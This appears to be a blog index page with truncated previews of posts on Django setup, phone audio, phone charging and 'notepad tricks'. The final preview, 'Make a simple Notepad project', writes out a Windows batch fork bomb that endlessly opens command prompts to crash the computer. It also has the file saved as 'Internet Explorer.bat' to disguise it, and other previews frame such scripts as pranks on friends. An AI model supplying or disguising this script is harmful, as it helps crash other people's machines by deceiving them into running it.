Posts

making your html templates be rendered in your django project.

Image
#2 making your html templates be rendered in your django project. After creating your django project you will need to insert html templates where your data will be displayed to the user. Before you proceed make sure you have the following files in your main project’s folder: First we must create an app that will handle all our requests and will render our html pages. We will write the *startapp* command to create our app. This will add another folder   named tutorial to our project folder. When you open the folder you will see the following files: We will then edit the settings.py file. Open the file in your preferred text editor and we will edit it as followed: Add the correct path to your templates folder. We will then edit the urls.py of the main folder which we created first in order to connect with our new app. Add the lines below to your file: As you can see we do not have a urls.py fi...

setting up django and running django server.

Image
#1 Setting up django and running the server. Django is a python project that enables you to write and make web apps in python. Python is probably the easiest programming language for writing web application. If you haven’t still learned python you can first search for a tutorial for python before you proceed to learn django    because django is written in python. First we will start by installing django. Make sure you have installed the latest python from python.org and pip. pip install django Run the pip install command. If you haven’t installed pip you can go to python’s official website and read on how to install pip in your machine. After the install is finished you can confirm that by using the version command. getting django version The version will be displayed if it is properly installed. Next we will create our django project. We will use the start project command to create our django project. In the *projectNa...

Nokia’s New Technology wants to make your cell phone videos sound as good as they look

Image
In the past decade, we’ve seen a huge shift in smartphone image quality. From once-middling, low-resolution photos and videos, we now have gorgeous 4K and high dynamic range content coming from the tiny computers in our pockets. Unfortunately, the same can’t be said for phone-recorded audio. Sure, we have seen modest improvements in mobile audio processing since the dawn of the iPhone, but the reality is that the sound we now capture alongside beautiful video is often woefully low fidelity by comparison. There are currently cell phones that capture gorgeous 4K video alongside the same tired mono audio that your grandma listened to on her first radio. Imagine the reverse, where films had lifelike Dolby Atmos sound, but were still shot in tepid black and white. Enter, of all companies, Nokia, whose software-based Ozo audio platform aims to take existing phone hardware and up its audio recording quality, allowing viewers to capture cell phone videos with l...

how bad is it to overcharge your cellphone?

Image
It’s an issue that has plagued humanity since the dawn of the mobile phone. We use our trusty pocket computers so much that they rarely get through a day with any power left. Many of us plug them in at night and fall asleep, content in the knowledge that we’ll wake up to a fully charged device. But is it really safe to leave our phones plugged into the charger once they’re fully charged? Is it damaging the battery — or shortening its lifespan? There are lots of myths and questionable ideas on this topic. You’ll find the Internet awash with opinions masquerading as facts. What’s the truth? We’ve got some answers for you. Should you leave your phone plugged into the charger overnight? “Leaving your phone plugged in overnight is okay to do, it will not drastically harm your device,” says Shane Broesky, co-founder of Farbe Technic, a company that makes charging accessories. “Your phone is very smart. Once it’s fully charged, it knows when to stop the current from comi...

cool projects to do with notepad

Some cool projects to do with notpad . Oscar muya. One of the first things that one learns while learning to use a computer is an application called notepad. Almost everyone knows what notepad is, and despite being a simple looking and functioning application what kind of a power it actually possesses. One can literally destroy someone’s PC using a notepad, one can also solve big problems using notepad. Ok, notepad does not do all that I said on its own, but still. It is the platform where one can write the initial code that can then be compiled and stuff. So, learning a few small notepad tricks won’t really hurt our chances of showing off or maybe getting a different prospective about what notepad can really do. So, here are some cool Notepad Tricks you should try: 1. Continually Pop Out CD Drive Using Notepad Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the text below into notepad and s...

cool projects to do with notepad

Some cool projects to do with notpad . One of the first things that one learns while learning to use a computer is an application called notepad. Almost everyone knows what notepad is, and despite being a simple looking and functioning application what kind of a power it actually possesses. One can literally destroy someone’s PC using a notepad, one can also solve big problems using notepad. Ok, notepad does not do all that I said on its own, but still. It is the platform where one can write the initial code that can then be compiled and stuff. So, learning a few small notepad tricks won’t really hurt our chances of showing off or maybe getting a different prospective about what notepad can really do. So, here are some cool Notepad Tricks you should try: 1. Continually Pop Out CD Drive Using Notepad. Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the text below into notepad and save it as a .vbs file...

Make a simple Notepad project

Make a simple notepad project Oscar muya Here is how you do a cool little hack with notepad. What it does is pops up a command prompts and overloads the computer and the computer CRASHES!!! FOR EDUCATIONAL PURPOSES ONLY!!!!!!! Step 1: NotePad First you need to open Notepad. You can go to the start menu and Click "All Programs", Then find the Folder "Accessories" and "Notepad" should be in that folder. Or you can open the start menu and type "Notepad" and click enter and Notepad will open. Step 2: The Typing Part Type in Notepad- @echo off :a Start Start Start Start Start Start goto :a What this will do is Open CMD six times and then repeat itself. Over and Over. You cant stop it. SO DONT TRY IT ON YOUR COMPUTER!!! Step 3 : Saving When you save, Go to "File", "Save As", and save it as "Internet Explorer.bat". Where it says "FileType" Select "All Files" or it wont work!!! Mak...